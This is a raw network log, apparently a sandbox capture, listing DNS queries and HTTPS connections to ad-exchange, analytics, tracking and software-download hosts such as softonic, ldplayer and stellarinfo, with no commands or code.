US 8.8.8.8:53 rtb-csync-euw1.smartadserver.com udp
US 8.8.8.8:53 match-eu-central-1-ecs.sharethrough.com udp
US 8.8.8.8:53 am1-direct-bgp.contextweb.com udp
US 8.8.8.8:53 s.amazon-adsystem.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
US 8.8.8.8:53 s.amazon-adsystem.com udp
US 98.82.154.76:443 s.amazon-adsystem.com tcp
US 35.244.174.68:443 id.rlcdn.com udp
DE 157.90.33.121:443 uidsync.net tcp
US 8.8.8.8:53 s.amazon-adsystem.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 104.18.25.18:443 js-sec.indexww.com tcp
US 8.8.8.8:53 js-sec.indexww.com udp
US 184.73.228.109:443 qvdt3feo.com tcp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 js-sec.indexww.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 ssum-sec.casalemedia.com udp
US 15.197.193.217:443 match.adsrvr.org tcp
GB 185.64.191.214:443 image8.pubmatic.com tcp
US 8.8.8.8:53 match.adsrvr.org udp
US 104.18.26.193:443 ssum-sec.casalemedia.com tcp
US 8.8.8.8:53 imagsync-lhrpairbc.pubmatic.com udp
GB 2.18.190.165:443 player.aniview.com tcp
US 8.8.8.8:53 ssum-sec.casalemedia.com udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
US 8.8.8.8:53 ssum-sec.casalemedia.com udp
US 8.8.8.8:53 sync.1rx.io udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 imagsync-lhrpairbc.pubmatic.com udp
US 8.8.8.8:53 ssbsync-euw2.smartadserver.com udp
US 8.8.8.8:53 pixel.33across.com udp
GB 2.18.190.165:443 a1970.dscd.akamai.net udp
US 15.197.193.217:443 match.adsrvr.org tcp
US 104.18.26.193:443 ssum-sec.casalemedia.com tcp
US 8.8.8.8:53 117.174.228.46.in-addr.arpa udp
US 8.8.8.8:53 57.101.200.18.in-addr.arpa udp
US 8.8.8.8:53 108.136.214.35.in-addr.arpa udp
US 8.8.8.8:53 182.33.208.52.in-addr.arpa udp
US 8.8.8.8:53 52.171.252.37.in-addr.arpa udp
US 8.8.8.8:53 68.174.244.35.in-addr.arpa udp
US 8.8.8.8:53 69.33.132.192.in-addr.arpa udp
US 8.8.8.8:53 172.55.17.81.in-addr.arpa udp
US 8.8.8.8:53 72.119.184.18.in-addr.arpa udp
US 8.8.8.8:53 131.169.93.208.in-addr.arpa udp
US 8.8.8.8:53 44.109.18.2.in-addr.arpa udp
US 8.8.8.8:53 76.154.82.98.in-addr.arpa udp
US 8.8.8.8:53 18.25.18.104.in-addr.arpa udp
US 8.8.8.8:53 109.228.73.184.in-addr.arpa udp
US 8.8.8.8:53 214.191.64.185.in-addr.arpa udp
US 8.8.8.8:53 165.190.18.2.in-addr.arpa udp
NL 35.214.136.108:443 user-data-eu.bidswitch.net udp
US 104.18.26.193:443 ssum-sec.casalemedia.com udp
US 104.18.25.18:443 js-sec.indexww.com tcp
US 8.8.8.8:53 cdn.indexww.com udp
US 8.8.8.8:53 cdn.indexww.com udp
US 8.8.8.8:53 193.26.18.104.in-addr.arpa udp
US 8.8.8.8:53 217.193.197.15.in-addr.arpa udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 8.8.8.8:53 swls.map.fastly.net udp
IE 54.239.33.159:443 aax-eu.amazon-adsystem.com tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
DE 88.99.208.233:443 shb.richaudience.com tcp
DE 88.99.208.233:443 shb.richaudience.com tcp
IE 52.211.147.14:443 ad.360yield.com tcp
US 104.18.26.193:443 ssum-sec.casalemedia.com tcp
US 34.120.63.153:443 prebid.media.net tcp
GB 185.64.190.77:443 hbopenbid-lhrc.pubmnet.com tcp
US 104.18.26.193:443 ssum-sec.casalemedia.com udp
US 34.120.63.153:443 prebid.media.net tcp
US 8.8.8.8:53 159.33.239.54.in-addr.arpa udp
US 8.8.8.8:53 77.190.64.185.in-addr.arpa udp
US 8.8.8.8:53 14.147.211.52.in-addr.arpa udp
US 8.8.8.8:53 153.63.120.34.in-addr.arpa udp
US 8.8.8.8:53 233.208.99.88.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 envoy-hl.envoy-csync.core-002-ew4.ov1o.com udp
US 8.8.8.8:53 match-eu-central-1-ecs.sharethrough.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 match-eu-central-1-ecs.sharethrough.com udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 8.8.8.8:53 match.sharethrough.com udp
DE 18.184.119.72:443 match.sharethrough.com tcp
NL 185.89.210.180:443 ib.adnxs.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
DE 18.184.119.72:443 match.sharethrough.com tcp
NL 185.89.210.180:443 ib.adnxs.com tcp
US 8.8.8.8:53 cs.yellowblue.io udp
IE 54.77.46.199:443 cs.yellowblue.io tcp
US 8.8.8.8:53 cs.yellowblue.io udp
US 8.8.8.8:53 cs.yellowblue.io udp
US 8.8.8.8:53 180.210.89.185.in-addr.arpa udp
US 8.8.8.8:53 199.46.77.54.in-addr.arpa udp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
GB 216.58.204.66:443 adclick.g.doubleclick.net tcp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
GB 216.58.204.66:443 adclick.g.doubleclick.net udp
GB 216.58.204.66:443 adclick.g.doubleclick.net tcp
US 8.8.8.8:53 www.stellarinfo.com udp
AT 3.165.206.20:443 www.stellarinfo.com tcp
US 8.8.8.8:53 stellarinfo.com udp
US 8.8.8.8:53 stellarinfo.com udp
US 8.8.8.8:53 20.206.165.3.in-addr.arpa udp
AT 3.165.206.20:443 stellarinfo.com udp
GB 216.58.204.74:443 ajax.googleapis.com tcp
US 13.107.246.64:443 s-part-0036.t-0009.t-msedge.net tcp
US 8.8.8.8:53 pulse.clickguard.com udp
US 104.26.12.152:443 pulse.clickguard.com tcp
US 8.8.8.8:53 pulse.clickguard.com udp
US 8.8.8.8:53 pulse.clickguard.com udp
US 8.8.8.8:53 images.dmca.com udp
US 8.8.8.8:53 cdn.stellarinfo.com udp
US 8.8.8.8:53 crmplus.zoho.com udp
US 8.8.8.8:53 widget.trustpilot.com udp
GB 143.244.38.136:443 images.dmca.com tcp
GB 143.244.38.136:443 images.dmca.com tcp
US 8.8.8.8:53 dmca-images.b-cdn.net udp
AT 3.165.206.111:443 cdn.stellarinfo.com tcp
AT 3.165.206.111:443 cdn.stellarinfo.com tcp
AT 3.165.206.111:443 cdn.stellarinfo.com tcp
AT 3.165.206.111:443 cdn.stellarinfo.com tcp
AT 13.32.110.125:443 widget.trustpilot.com tcp
US 8.8.8.8:53 cdn.stellarinfo.com udp
US 204.141.42.49:443 crmplus.zoho.com tcp
US 8.8.8.8:53 widget.trustpilot.com udp
US 8.8.8.8:53 crmplus.zoho.com udp
US 8.8.8.8:53 cdn.stellarinfo.com udp
US 8.8.8.8:53 crmplus.zoho.com udp
US 8.8.8.8:53 widget.trustpilot.com udp
US 8.8.8.8:53 152.12.26.104.in-addr.arpa udp
AT 3.165.206.111:443 cdn.stellarinfo.com udp
US 8.8.8.8:53 111.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 125.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 49.42.141.204.in-addr.arpa udp
US 104.26.12.152:443 pulse.clickguard.com tcp
US 104.26.12.152:443 pulse.clickguard.com tcp
GB 142.250.178.4:443 www.google.com tcp
US 8.8.8.8:53 snap.licdn.com udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 amplify.outbrain.com udp
US 8.8.8.8:53 plausible.io udp
US 8.8.8.8:53 a1916.dscg2.akamai.net udp
GB 143.244.38.136:443 plausible.io tcp
US 8.8.8.8:53 plausible.io udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 e10883.g.akamaiedge.net udp
US 8.8.8.8:53 a1916.dscg2.akamai.net udp
US 8.8.8.8:53 plausible.io udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
GB 142.250.178.4:443 www.google.com udp
GB 143.244.38.136:443 plausible.io tcp
GB 2.19.252.143:443 a1916.dscg2.akamai.net tcp
US 150.171.27.10:443 bat.bing.com tcp
GB 2.18.109.242:443 e10883.g.akamaiedge.net tcp
DK 157.240.200.14:443 scontent.xx.fbcdn.net tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
GB 142.250.187.227:443 www.google.co.uk tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 px.ads.linkedin.com udp
US 216.239.34.36:443 region1.analytics.google.com udp
GB 142.250.187.227:443 www.google.co.uk udp
US 8.8.8.8:53 l-0005.l-msedge.net udp
US 8.8.8.8:53 l-0005.l-msedge.net udp
DK 157.240.200.14:443 scontent.xx.fbcdn.net udp
IE 13.74.129.1:443 c-msn-pme.trafficmanager.net tcp
US 13.107.42.14:443 l-0005.l-msedge.net tcp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 c.bing.com udp
GB 163.70.147.35:443 www.facebook.com tcp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 150.171.27.10:443 c.bing.com tcp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
GB 163.70.147.35:443 www.facebook.com udp
BE 74.125.206.155:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 242.109.18.2.in-addr.arpa udp
US 8.8.8.8:53 238.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 14.200.240.157.in-addr.arpa udp
US 8.8.8.8:53 35.147.70.163.in-addr.arpa udp
BE 74.125.206.155:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 geometry-dash.en.softonic.com udp
US 8.8.8.8:53 salesiq.zoho.com udp
US 136.143.191.67:443 salesiq.zoho.com tcp
US 8.8.8.8:53 salesiq.zoho.com udp
US 151.101.129.91:443 geometry-dash.en.softonic.com tcp
US 8.8.8.8:53 salesiq.zoho.com udp
US 151.101.129.91:443 geometry-dash.en.softonic.com tcp
US 130.211.23.194:443 api.btloader.com udp
US 151.101.129.91:443 geometry-dash.en.softonic.com udp
US 8.8.8.8:53 js.zohocdn.com udp
US 8.8.8.8:53 css.zohocdn.com udp
US 8.8.8.8:53 us4-files.zohopublic.com udp
US 8.8.8.8:53 salesiq.zohopublic.com udp
US 204.141.42.172:443 us4-files.zohopublic.com tcp
US 8.8.8.8:53 us4-files.zohopublic.com udp
US 204.141.42.97:443 salesiq.zohopublic.com tcp
US 204.141.42.97:443 salesiq.zohopublic.com tcp
US 8.8.8.8:53 zpublic.zohopublic.com udp
GB 169.148.129.35:443 css.zohocdn.com tcp
US 8.8.8.8:53 h2-stratus.zohocdn.com udp
US 8.8.8.8:53 67.191.143.136.in-addr.arpa udp
US 8.8.8.8:53 us4-files.zohopublic.com udp
US 8.8.8.8:53 zpublic.zohopublic.com udp
US 8.8.8.8:53 h2-stratus.zohocdn.com udp
GB 169.148.129.35:443 h2-stratus.zohocdn.com tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 vts.zohopublic.com udp
GB 169.148.129.35:443 h2-stratus.zohocdn.com tcp
GB 169.148.129.35:443 h2-stratus.zohocdn.com tcp
US 8.8.8.8:53 vts.zohopublic.com udp
US 8.8.8.8:53 vts.zohopublic.com udp
US 204.141.43.144:443 vts.zohopublic.com tcp
US 8.8.8.8:53 35.129.148.169.in-addr.arpa udp
US 8.8.8.8:53 97.42.141.204.in-addr.arpa udp
US 8.8.8.8:53 172.42.141.204.in-addr.arpa udp
US 8.8.8.8:53 144.43.141.204.in-addr.arpa udp
AT 18.66.27.26:443 sdk.privacy-center.org tcp
AT 18.66.27.26:443 sdk.privacy-center.org udp
US 151.101.129.91:443 geometry-dash.en.softonic.com udp
US 8.8.8.8:53 sc.sftcdn.net udp
US 8.8.8.8:53 rv-assets.softonic.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 8.8.8.8:53 browser.sentry-cdn.com udp
US 151.101.130.217:443 browser.sentry-cdn.com tcp
US 8.8.8.8:53 browser.sentry-cdn.com udp
US 8.8.8.8:53 browser.sentry-cdn.com udp
US 150.171.27.10:443 c.bing.com tcp
DK 157.240.200.14:443 scontent.xx.fbcdn.net tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 217.130.101.151.in-addr.arpa udp
DK 157.240.200.14:443 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 o4508370636111872.ingest.de.sentry.io udp
US 34.120.62.213:443 o4508370636111872.ingest.de.sentry.io tcp
US 8.8.8.8:53 o4508370636111872.ingest.de.sentry.io udp
US 8.8.8.8:53 o4508370636111872.ingest.de.sentry.io udp
US 8.8.8.8:53 www.google.com udp
US 34.120.62.213:443 o4508370636111872.ingest.de.sentry.io udp
GB 142.250.187.227:443 www.google.co.uk udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 213.62.120.34.in-addr.arpa udp
GB 163.70.147.35:443 www.facebook.com tcp
GB 163.70.147.35:443 www.facebook.com tcp
GB 163.70.147.35:443 www.facebook.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
GB 142.250.179.226:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 af2f3827f9767a172c8c1ff74c7fc030.safeframe.googlesyndication.com udp
NL 139.45.197.108:443 notix.io tcp
GB 142.250.200.33:443 af2f3827f9767a172c8c1ff74c7fc030.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 af2f3827f9767a172c8c1ff74c7fc030.safeframe.googlesyndication.com udp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 af2f3827f9767a172c8c1ff74c7fc030.safeframe.googlesyndication.com udp
US 8.8.8.8:53 storage.googleapis.com udp
US 8.8.8.8:53 di-images.sftcdn.net udp
US 8.8.8.8:53 prebid.media.net udp
GB 142.250.200.33:443 af2f3827f9767a172c8c1ff74c7fc030.safeframe.googlesyndication.com udp
GB 142.250.200.59:443 storage.googleapis.com tcp
US 8.8.8.8:53 storage.googleapis.com udp
US 151.101.193.91:443 di-images.sftcdn.net tcp
US 151.101.193.91:443 di-images.sftcdn.net tcp
US 151.101.193.91:443 di-images.sftcdn.net tcp
US 151.101.193.91:443 di-images.sftcdn.net tcp
US 151.101.193.91:443 di-images.sftcdn.net udp
US 8.8.8.8:53 storage.googleapis.com udp
GB 142.250.200.59:443 storage.googleapis.com udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 104.18.26.193:443 r.casalemedia.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
US 8.8.8.8:53 59.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 91.193.101.151.in-addr.arpa udp
US 35.244.193.51:443 lexicon.33across.com udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 34.120.63.153:443 prebid.media.net udp
US 8.8.8.8:53 qsearch-a.akamaihd.net udp
GB 142.250.179.226:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 a267.g.akamai.net udp
US 8.8.8.8:53 a267.g.akamai.net udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 id5-sync.com udp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 ap.lijit.com udp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
GB 95.100.244.20:443 contextual.media.net tcp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 player.aniview.com udp
DE 51.89.9.252:443 onetag-sys.com tcp
GB 2.18.190.165:443 player.aniview.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 67.202.105.21:443 pixel.33across.com tcp
FR 91.134.110.133:443 ssbsync-euw2.smartadserver.com tcp
US 172.111.38.111:443 tracker-use.ortb.net tcp
US 204.62.12.209:443 sync-service.net tcp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
IE 54.220.239.22:443 ap.lijit.com tcp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
NL 81.17.55.172:443 rtb-csync-euw1.smartadserver.com tcp
US 8.8.8.8:53 20.244.100.95.in-addr.arpa udp
NL 185.89.210.180:443 ib.adnxs.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
US 35.244.174.68:443 id.rlcdn.com udp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 52.54.202.215:443 sync.srv.stackadapt.com tcp
US 192.132.33.69:443 bttrack.com tcp
GB 95.100.244.20:443 contextual.media.net udp
NL 81.17.55.172:443 rtb-csync-euw1.smartadserver.com tcp
US 8.8.8.8:53 cm.g.doubleclick.net udp
NL 185.89.210.180:443 ib.adnxs.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
GB 142.250.179.226:443 cm.g.doubleclick.net tcp
US 8.8.8.8:53 cm.g.doubleclick.net udp
US 8.8.8.8:53 cm.g.doubleclick.net udp
US 151.101.193.91:443 di-images.sftcdn.net udp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 215.202.54.52.in-addr.arpa udp
US 8.8.8.8:53 22.239.220.54.in-addr.arpa udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 204.141.42.172:443 us4-files.zohopublic.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 204.141.42.97:443 zpublic.zohopublic.com tcp
US 8.8.8.8:53 static.zohocdn.com udp
GB 169.148.129.35:443 static.zohocdn.com tcp
GB 169.148.129.35:443 static.zohocdn.com tcp
US 8.8.8.8:53 h2-stratus.zohocdn.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 151.101.193.91:443 di-images.sftcdn.net udp
AT 18.66.27.26:443 sdk.privacy-center.org tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
GB 142.250.178.4:443 www.google.com tcp
US 151.101.65.91:443 di-images.sftcdn.net tcp
US 151.101.66.217:443 browser.sentry-cdn.com tcp
US 151.101.1.91:443 di-images.sftcdn.net udp
US 34.120.62.213:443 o4508370636111872.ingest.de.sentry.io udp
US 8.8.8.8:53 leap.ldplayer.gg udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 151.101.129.91:443 di-images.sftcdn.net udp
GB 163.181.154.244:443 leap.ldplayer.gg tcp
US 8.8.8.8:53 leap.ldplayer.gg.w.kunlungr.com udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
GB 163.181.154.244:443 leap.ldplayer.gg.w.kunlungr.com tcp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 244.154.181.163.in-addr.arpa udp
US 8.8.8.8:53 leap.ldplayer.gg.w.kunlungr.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 hbopenbid-lhrc.pubmnet.com udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 partner.googleadservices.com udp
GB 172.217.169.46:443 syndicatedsearch.goog tcp
GB 172.217.169.46:443 syndicatedsearch.goog tcp
US 8.8.8.8:53 hbopenbid-lhrc.pubmnet.com udp
US 8.8.8.8:53 syndicatedsearch.goog udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 partner.googleadservices.com udp
GB 142.250.178.1:443 fe77406a0eaa1222e0a52fcd698184ee.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 fe77406a0eaa1222e0a52fcd698184ee.safeframe.googlesyndication.com udp
US 4.227.249.197:443 u.clarity.ms tcp
GB 142.250.178.1:443 fe77406a0eaa1222e0a52fcd698184ee.safeframe.googlesyndication.com tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 150.171.27.10:443 bat.bing.com tcp
GB 172.217.16.226:443 partner.googleadservices.com tcp
US 150.171.27.10:443 bat.bing.com tcp
US 8.8.8.8:53 bat.bing.com udp
GB 172.217.16.226:443 partner.googleadservices.com tcp
US 8.8.8.8:53 js.adscale.de udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
AT 3.165.206.20:443 stellarinfo.com tcp
AT 3.165.206.20:443 stellarinfo.com udp
US 151.101.129.91:443 sc.sftcdn.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
AT 3.161.119.104:443 js.adscale.de tcp
US 8.8.8.8:53 d2w45tum40fmzp.cloudfront.net udp
US 8.8.8.8:53 d2w45tum40fmzp.cloudfront.net udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
AT 3.161.119.104:443 d2w45tum40fmzp.cloudfront.net tcp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 204.62.12.209:443 sync-service.net tcp
US 67.202.105.21:443 pixel.33across.com tcp
FR 91.134.110.133:443 ssbsync-euw2.smartadserver.com tcp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 67.202.105.21:443 pixel.33across.com tcp
FR 91.134.110.133:443 ssbsync-euw2.smartadserver.com tcp
US 8.8.8.8:53 104.119.161.3.in-addr.arpa udp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 52.54.202.215:443 sync.srv.stackadapt.com tcp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 52.54.202.215:443 sync.srv.stackadapt.com tcp
US 8.8.8.8:53 ih.adscale.de udp
DE 18.196.57.203:443 ih.adscale.de tcp
US 8.8.8.8:53 ih.adscale.de udp
US 8.8.8.8:53 ih.adscale.de udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
DE 18.196.57.203:443 ih.adscale.de tcp
US 8.8.8.8:53 1.178.250.142.in-addr.arpa udp
GB 142.250.187.227:443 www.google.co.uk tcp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
NL 185.89.210.180:443 ib.adnxs.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
US 8.8.8.8:53 u.clarity.ms udp
NL 185.89.210.180:443 ib.adnxs.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 4.227.249.197:443 u.clarity.ms tcp
GB 142.250.178.1:443 fe77406a0eaa1222e0a52fcd698184ee.safeframe.googlesyndication.com udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 dis.criteo.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 widget.nl3.vip.prod.criteo.com udp
NL 178.250.1.9:443 widget.nl3.vip.prod.criteo.com tcp
NL 81.17.55.172:443 rtb-csync-euw1.smartadserver.com tcp
NL 178.250.1.9:443 widget.nl3.vip.prod.criteo.com tcp
NL 81.17.55.172:443 rtb-csync-euw1.smartadserver.com tcp
US 8.8.8.8:53 9.1.250.178.in-addr.arpa udp
US 151.101.129.91:443 sc.sftcdn.net udp
DE 157.90.33.121:443 uidsync.net tcp
DE 157.90.33.121:443 uidsync.net tcp
NL 89.149.193.88:443 rtb-csync-euw1.smartadserver.com tcp
US 8.8.8.8:53 u.clarity.ms udp
DE 178.63.248.56:443 uidsync.net tcp
US 216.239.34.36:443 region1.analytics.google.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 4.227.249.197:443 u.clarity.ms tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
US 8.8.8.8:53 www.ldplayer.net udp
GB 163.181.154.243:443 www.ldplayer.net tcp
US 8.8.8.8:53 243.154.181.163.in-addr.arpa udp
US 8.8.8.8:53 images.dmca.com udp
US 8.8.8.8:53 dmca-images.b-cdn.net udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 dmca-images.b-cdn.net udp
US 8.8.8.8:53 salesiq.zoho.com udp
US 8.8.8.8:53 salesiq.zoho.com udp
US 8.8.8.8:53 widget.trustpilot.com udp
US 8.8.8.8:53 cdn.mouseflow.com udp
US 8.8.8.8:53 cdn.mouseflow.com.cdn.cloudflare.net udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 www.ldplayer.net.w.kunlungr.com udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 cdn.mouseflow.com.cdn.cloudflare.net udp
US 8.8.8.8:53 203.57.196.18.in-addr.arpa udp
US 150.171.28.10:443 ax-0001.ax-msedge.net tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
